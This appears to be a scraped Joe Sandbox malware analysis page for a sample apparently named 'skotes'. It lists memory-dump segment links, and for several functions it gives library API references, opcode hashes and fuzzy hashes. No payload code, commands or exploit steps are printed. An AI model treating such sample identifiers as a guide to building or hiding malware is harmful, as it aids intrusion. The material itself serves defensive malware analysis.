Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: d79870aefa91df80b87af6235c82b5a27082d774b529dec5baa65e1baabf50f7
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 72310430B08255AECF56AA7848927FEBBB79F45300F0C49A9E496D7342DA245DCEC3D1

Function 00634C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00634C98
__alloca_probe_16.LIBCMT ref: 00634D5E
__freea.LIBCMT ref: 00634DCA

Part of subcall function 0062B04B: RtlAllocateHeap.NTDLL(00000000,00606CB7,?,?,0060D3FC,00606CB7,?,00607A8B,8B18EC84,051E0A69), ref: 0062B07E

__freea.LIBCMT ref: 00634DD3
__freea.LIBCMT ref: 00634DF6

Strings

Zb,mb, xrefs: 00634C26

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: Zb,mb
API String ID: 1423051803-2221940238
Opcode ID: a16333376a24443088a7ab94174d304db0f99c4c3296d1d0e84f523f5331dcca
Instruction ID: 8b8cd7f1041821e8374a9868f1834b63c3878d5dcb87a3c6576a8360fc87449f
Opcode Fuzzy Hash: a16333376a24443088a7ab94174d304db0f99c4c3296d1d0e84f523f5331dcca
Instruction Fuzzy Hash: CF51C172A00216ABDB259F64DC41EFBB7ABDF85750F154229FD04A7241EF30EC118AE4

Function 0061DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0061DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0061DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0061DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0061DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0061DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0061DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0061DE74

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 5a776bae80aeb5886d600d4460a51e79cc4356c3e3a854a740de0542fc0e4b3e
Instruction ID: e7245816d0f82ae6f462824a39439fc2a01c1b867a4ff9da715c9412234eb462
Opcode Fuzzy Hash: 5a776bae80aeb5886d600d4460a51e79cc4356c3e3a854a740de0542fc0e4b3e
Instruction Fuzzy Hash: 2941AC30A042449ADF98EFA484657ED7BA76F11304F1C44ADE9416B3C3CB359E85CB6A

Function 0061E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0061E7D7

Part of subcall function 0061E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0061E577
Part of subcall function 0061E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0061E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0061E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0061E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0061E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0061E879
Concurrency::location::_Assign.LIBCMT ref: 0061E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0061E8B5

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 49c2242e54ed22fd318e42ee88b115940517417a0593e172b4037f94053e0c80
Instruction ID: 319d74c19c999488c8856236cd37e5ee4107481da9bab4db57f8a4a963d7761d
Opcode Fuzzy Hash: 49c2242e54ed22fd318e42ee88b115940517417a0593e172b4037f94053e0c80
Instruction Fuzzy Hash: 34411879A002149FDB45EF64C495AEDB7B6FF48310F1880A9DD499B382DB70A981CB91

Function 00606E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00606ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00606F22
std::_Rethrow_future_exception.LIBCPMT ref: 00606F32
__Mtx_unlock.LIBCPMT ref: 00606FD5
__Mtx_unlock.LIBCPMT ref: 006070DB
__Mtx_unlock.LIBCPMT ref: 00607116

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 71b32854d49f307995d4538900e99f9746006b1c6b7e0dc8fbfbd75c1fd85e08
Instruction ID: b759aa7d73e52d0b41d7286f73cc48a5eef0dde26d650f317f9da622cb11f849
Opcode Fuzzy Hash: 71b32854d49f307995d4538900e99f9746006b1c6b7e0dc8fbfbd75c1fd85e08
Instruction Fuzzy Hash: 23C1D0B0D443099BDB28DFA4C845BAFBBB6EF05310F044A6DE816976D1EB35A904CB61

